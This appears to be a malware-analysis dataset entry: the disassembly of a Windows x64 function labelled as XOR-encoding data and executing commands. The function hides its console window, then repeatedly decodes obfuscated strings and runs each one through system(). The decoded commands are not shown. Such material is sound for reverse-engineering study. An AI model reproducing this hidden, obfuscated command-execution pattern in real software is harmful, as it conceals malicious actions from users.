Function at 0x14006b070
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140121e30]
xor ebx, ebx
movdqu xmmword [rbp - 0x1c], xmm0
mov edx, ebx
mov dword [rbp - 0x20], 0x13
mov dword [rbp - 0xc], 0x94e7f7e2
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b0c0
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121e30]
mov edx, ebx
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x20], 0x1b
mov dword [rbp - 0xc], 0xb4e7f7e2
mov dword [rbp - 8], 0xf9e3f7f6
mov dword [rbp - 4], 0x9cfcf5f5
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b110
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121bb0]
mov esi, 0x12
mov eax, esi
mov edx, ebx
mov dword [rbp - 0x20], eax
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0xc], 0x93e6f4
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b160
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f40]
mov edx, ebx
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x20], 0x17
mov dword [rbp - 0xc], 0xf1e1b2fd
mov dword [rbp - 8], 0x98e3f3e6
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b1b0
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401214b0]
mov edx, ebx
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x20], 0x13
mov dword [rbp - 0xc], 0x94fffef0
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b1f2
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121b70]
xor ecx, ecx
mov edi, 0x14
mov dword [rbp - 0xc], 0xe0f6e1f4
mov eax, edi
mov edx, ebx
mov dword [rbp - 0x20], eax
movdqu xmmword [rbp - 0x1c], xmm0
mov byte [rbp - 8], 0x95
mov word [rbp - 7], cx
mov byte [rbp - 5], cl
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b250
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121b60]
xor eax, eax
movdqu xmmword [rbp - 0x1c], xmm0
mov word [rbp - 7], ax
mov edx, ebx
mov byte [rbp - 5], al
mov dword [rbp - 0x20], edi
mov dword [rbp - 0xc], 0xe0f6e1f4
mov byte [rbp - 8], 0x95
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov edi, dword [rbp - 0x20]
cmp edx, edi
jb 0x14006b2a0
lea rcx, [rbp - 0x1c]
mov byte [rbp + rdi - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d00]
mov edx, ebx
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x20], esi
mov dword [rbp - 0xc], 0x93f7e2
nop
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov esi, dword [rbp - 0x20]
cmp edx, esi
jb 0x14006b2e0
lea rcx, [rbp - 0x1c]
mov byte [rbp + rsi - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121c30]
xor ecx, ecx
mov eax, 0x10
mov edx, ebx
mov dword [rbp - 0x20], eax
mov byte [rbp - 0xc], 0x91
mov word [rbp - 0xb], cx
mov byte [rbp - 9], cl
movdqu xmmword [rbp - 0x1c], xmm0
test eax, eax
je 0x14006b347
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp edx, eax
jb 0x14006b330
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121e70]
movdqu xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x20], 0x13
mov dword [rbp - 0xc], 0x94e0fcf5
mov eax, ebx
lea rcx, [rbp - 0x1c]
add rcx, rax
lea eax, [rbx - 0x7f]
inc ebx
xor byte [rcx], al
mov eax, dword [rbp - 0x20]
cmp ebx, eax
jb 0x14006b370
lea rcx, [rbp - 0x1c]
mov byte [rbp + rax - 0x1c], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret